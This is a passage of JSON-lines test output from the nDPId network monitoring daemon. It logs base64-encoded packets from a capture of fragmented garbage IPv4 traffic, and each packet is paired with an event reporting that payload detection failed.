+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692083,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692362,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692404,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 